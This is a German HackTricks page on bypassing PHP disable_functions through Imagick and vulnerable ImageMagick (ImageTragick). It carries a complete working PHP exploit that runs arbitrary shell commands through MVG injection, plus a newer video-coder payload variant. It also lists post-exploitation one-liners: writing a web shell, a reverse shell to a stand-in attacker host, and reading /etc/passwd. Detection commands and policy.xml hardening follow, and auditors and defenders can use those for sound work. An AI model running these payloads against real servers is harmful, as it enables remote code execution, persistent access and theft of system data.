Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Die bekannte ImageTragick Familie von Bugs (CVE-2016-3714 u.a.) ermöglicht es einem Angreifer, die zugrunde liegende ImageMagick-Binary über manipulierte MVG/SVG-Eingaben zu erreichen. Wenn die PHP-Erweiterung Imagick vorhanden ist, kann dies missbraucht werden, um Shell-Befehle auszuführen, selbst wenn jede ausführungsorientierte PHP-Funktion mit
disable_functions
auf die schwarze Liste gesetzt ist.Der ursprüngliche PoC, veröffentlicht von RicterZ (Chaitin Security Research Lab) im Mai 2016, wird unten wiedergegeben. Die Technik wird immer noch regelmäßig bei zeitgenössischen PHP 7/8-Audits angetroffen, da viele Shared-Hosting-Anbieter PHP einfach ohne
exec
/system
kompilieren, aber eine veraltete Imagick + ImageMagick-Kombination beibehalten.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Warum funktioniert es?
Imagick::readImage()
startet transparent das ImageMagick Delegate (convert
/magick
) Binary.- Das MVG-Skript setzt das fill auf eine externe URI. Wenn ein doppeltes Anführungszeichen (
"
) injiziert wird, wird der Rest der Zeile von/bin/sh ‑c
interpretiert, das ImageMagick intern verwendet → willkürliche Shell-Ausführung. - Alles geschieht außerhalb des PHP-Interpreters, daher werden
disable_functions
, open_basedir,safe_mode
(in PHP 5.4 entfernt) und ähnliche Einschränkungen im Prozess vollständig umgangen.
Status 2025 – es ist immer noch relevant
- Jede Imagick-Version, die auf einem verwundbaren ImageMagick-Backend basiert, bleibt ausnutzbar. In Labortests funktioniert dasselbe Payload auf PHP 8.3 mit Imagick 3.7.0 und ImageMagick 7.1.0-51, das ohne eine gehärtete
policy.xml
kompiliert wurde. - Seit 2020 wurden mehrere zusätzliche Command-Injection-Vektoren gefunden (
video:pixel-format
,ps:
,text:
Codierer…). Zwei aktuelle öffentliche Beispiele sind: - CVE-2020-29599 – Shell-Injection über den text: Codierer.
- GitHub-Issue #6338 (2023) – Injection im video: Delegate.
Wenn das Betriebssystem ImageMagick < 7.1.1-11 (oder 6.x < 6.9.12-73) ohne eine restriktive Richtliniendatei ausliefert, ist die Ausnutzung unkompliziert.
Moderne Payload-Varianten
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
Andere nützliche Primitiven während CTFs / realen Einsätzen:
- Dateischreiben –
... > /var/www/html/shell.php
(Web-Shell außerhalb von open_basedir schreiben) - Reverse Shell –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
- Auflisten –
id; uname -a; cat /etc/passwd
Schnelle Erkennung & Auflistung
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
Wenn die Ausgabe zeigt, dass die MVG
oder URL
Coder aktiviert sind, ist das Ziel wahrscheinlich ausnutzbar.
Minderung
- Patch/Upgrade – Verwenden Sie ImageMagick ≥ 7.1.1-11 (oder die neueste 6.x LTS) und Imagick ≥ 3.7.2.
- Härten Sie
policy.xml
– explizit deaktivieren Sie hochriskante Coder:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- Entfernen Sie die Erweiterung in nicht vertrauenswürdigen Hosting-Umgebungen. In den meisten Web-Stacks ist
GD
oderImagick
nicht unbedingt erforderlich. - Behandeln Sie
disable_functions
nur als Verteidigung in der Tiefe – niemals als primären Sandbox-Mechanismus.
Referenzen
- GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)
- CVE-2020-29599 – ImageMagick shell injection via text: coder
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.